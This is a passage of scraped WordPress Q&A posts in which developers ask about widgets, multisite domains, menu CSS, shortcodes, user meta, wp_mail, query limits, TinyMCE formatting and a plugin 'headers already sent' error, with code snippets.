"; ?>              <?php             echo $after_widget;         }          function update( $new_instance, $old_instance ) {     (...)     }           function form( $instance ) {       (...)     }          etc.      The widget's code is OK, because I've developed a few similar widgets and they WORK. I'm starting to think there's something wrong with Wordpress, not my code.


Multisite, with virtual root

I have a multisite network with define('DOMAIN_CURRENT_SITE', 'fruit.shop.com'); So that the "Network Admin" is on fruit.shop.com, but still be able to add sub-domains from the 2nd level domain. I'd like to use this to create blogs at locations like apple.shop.com orange.shop.com pineapple.shop.com And shop.com point to some other server entirely. How do I do this?


how to hide submenus for the not active pages

I would like to expand only the active part of the sidebar menu and hide the parts which have nothing to do with the actual selection. Just like how its done on every Explorer like file manager, or how it is with accordion menus. In the default TwentyTen theme, this is the class definition for the active submenu:               menu-item menu-item-type-post_type menu-item-object-page current-menu-ancestor current-menu-parent current_page_parent current_page_ancestor      and this is the one for a non-active submenu:               menu-item menu-item-type-post_type menu-item-object-page      So I'm thinking about using something like:               li .menu-item ul .sub-menu { display: none; }     li .current-menu-parent ul .sub-menu { display: inherit; }      Would something like this work? It must be a fairly common problem, but I have not found a single solution with Google. To have an idea why it’s important to make the menu smaller, here is the site I'm working on where the menu is overly complicated: http://kek.org.hu/kozossegikertek


echo do_shortcode is not working on theme's template

I don't know whats causing the problem but the `echo do_shortcode` is not working on my theme's template, but its working on my plugin's template and the shortcode is working on my posts and pages. Pretty weird. Here's the code               <?php      $my_query = new WP_Query('category_name=video post&posts_per_page=10');     while ($my_query->have_posts()) : $my_query->the_post();     $do_not_duplicate = $post->ID;      ?>

<a href = "<?php the_permalink();?>"><?php the_title();?>
         <?php the_post_thumbnail(); ?>
          <?php the_excerpt();?>         <?php                                                $urlbox = get_video_box();              echo $urlbox[0]; // echo out the url of a post                              echo $urlbox[1]; // echo out the url description of a post         echo do_shortcode('[jwplayer config="Out-of-the-Box" file="' . $urlbox[0] . '" image="http://www.mywebsite.com/myimage.jpg"]');         ?>

          <?php endwhile; ?>        I am using the JW player plugin, again, the shortcode is working on the plugin's template and post/page . but on my theme's template its not working.. please help me here. Thanks


Trying to get property of non-object in wp-includes/capabilities.php

Once a minute I get the following notice sequence in debug.log:               [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1022     [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1023     [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1023     [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1026     [23-Oct-2012 13:27:33 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1026     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1022     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1023     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1023     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1026     [23-Oct-2012 13:27:35 UTC] PHP Notice:  Trying to get property of non-object in mysite/wp-includes/capabilities.php on line 1026      I disabled all plugins and selected the default Twenty Eleven theme, but still get it. How can I troubleshoot this? I'm using WordPress 3.4.2.


How to get data from an array using get_user_meta()

I have created a custom user profile field               <?php $basics = get_the_author_meta( 'fbasics', $user->ID ); ?>

<input value="lesson1" name="fbasics[]" <?php if (is_array($basics)) { if (in_array("lesson1", $basics)) { ?>checked="checked"<?php } }?> type="checkbox" /> <?php _e('Lesson 1', 'gprofile'); ?>

<input value="lesson2" name="fbasics[]" <?php if (is_array($basics)) { if (in_array("lesson2", $basics)) { ?>checked="checked"<?php } }?> type="checkbox" /> <?php _e('Lesson 2', 'gprofile'); ?>

      I now need to use the data on the front end of wordpress to display information. I think I need to use the `get_user_meta()` function but I do not understand how to use is to get the value of an array. How to get data from an array using `get_user_meta()`?


Need clarification on how to correctly call wp_mail()

I want to call wp_mail() from a non-template php file, but when I do so it fails and I don't understand why. For example, let's say I have a php file that consists of only this:               <?php         echo 'hi';         $mail_sent = wp_mail('example@example.com', 'subject', 'message');         echo $mail_sent;     ?>      If I load that php file directly in my browser, only "hi" will print. If I remove `echo 'hi';` altogether, nothing is printed, which indicates to me that wp_mail() cannot be called in this particular context. However, if I add `/* Template Name: SomeName */` to the file and create a new page using `SomeName` as its template, wp_mail() executes correctly. Clearly, I'm missing some key bit of information regarding how to correctly call wp_mail(). The reason I want to do this is because the theme I'm using came with a contact form that submits email via an ajax request roughly like this:               form.submit(function() {         $j.ajax({             type: 'GET',             url: "http://www.example.com/wp-content/themes/themeX/send_mail.php",             data: form.serialize(),         });     });      Currently, `send_mail.php` calls the php mail() function which "works" but is extremely flaky. I want it to call wp_mail() so I can take advantage of this plugin which sends mail using a smtp server. So my question is: how can I get wp_mail() to work in this situation? Thanks!


How to grab data (titles, thumbnails and custom fields) from multiple posts to populate a new array efficiently?

I need to know the most efficient method to grab 3 pieces of data from from multiple posts:   * Post title   * Thumbnail   * Custom Field I am attempting to build a Google map of posts using data stored in WP posts. Each post has geo coordinates and a thumbnail. I want to pull the title, geo custom field and thumbnail and use this data to build points of interest on a map. The posts are stored as a custom post type called listings. Here is a demo: http://www.barbadospropertylist.com/map/ Here is my query code:               $args=array( 'showposts' => 45 );     query_posts( $args );      Currently this is failing to query anymore than 45 posts. I have over 400 listings that I would like to query. Not sure why it's failing.


TinyMCE strips breaks inside editor

the posts are shown correctly in the frontend. But when i go to edit, the content inside tinyMCE is without breaks ?! So i have to copy my content from frontend and paste it to the editor every time i want to edit.. very stupid - i dont know what i've done, maybe it's the plugin "Disable wpautop", but it's deactivated now. When I click on save without my copy&paste workaround, the content is wrap in exactly one paragraph tag in the frontend.. Anyone an idea? (and yep, i am talking about the "visual" mode of tinymce, not the text mode)


Limiting Admin Backend Search to Title

Does anyone have any suggestions on how to limit the search in the WP admin area to just post titles? It's very frustrating to want to pull up a specific page, and get hundreds of results that have that word in the post content.


Multisite Pull Recent Image Attachments from Blog ID

I am creating a WordPress network and am looking for a way to pull recent images from the sub blogs, but I am having some trouble doing so. What is the easiest way to make this happen?


Get 'Headers already sent' error for the plugin I am creating when I try to login

I am trying to create my first plugin. So far it actually works fine but for one error: I get a 'Headers Already Sent' PHP message when I try to login to wp-admin. If I remove the plugin file from the wpcontent/plugins directory, login as usual, then replace the plugin file it works fine - this just seems to occur with login in and out. My (abridged) code is:               <?php     /*     Plugin Name: Product Manager     Plugin URI: http://www.tech-knowledge.com.au     Description: Add, edit and remove products     Version: 1.0     Author: Me     Author URI: http://www.tech-knowledge.com.au     License: Restricted     */          if ( is_admin() ){     /* Call the html code */     add_action('admin_menu', 'prodmanager_admin_menu');          function prodmanager_admin_menu() {     add_options_page('Product Manager', 'Product Manager', 'administrator',     'product-manager', 'prodmanager_html_page');     }     }          function prodmanager_html_page() {     ?>

Product Manager

     ?>      Let me know if you would like to see it all. Any advice would be really, really appreciated! Thanks!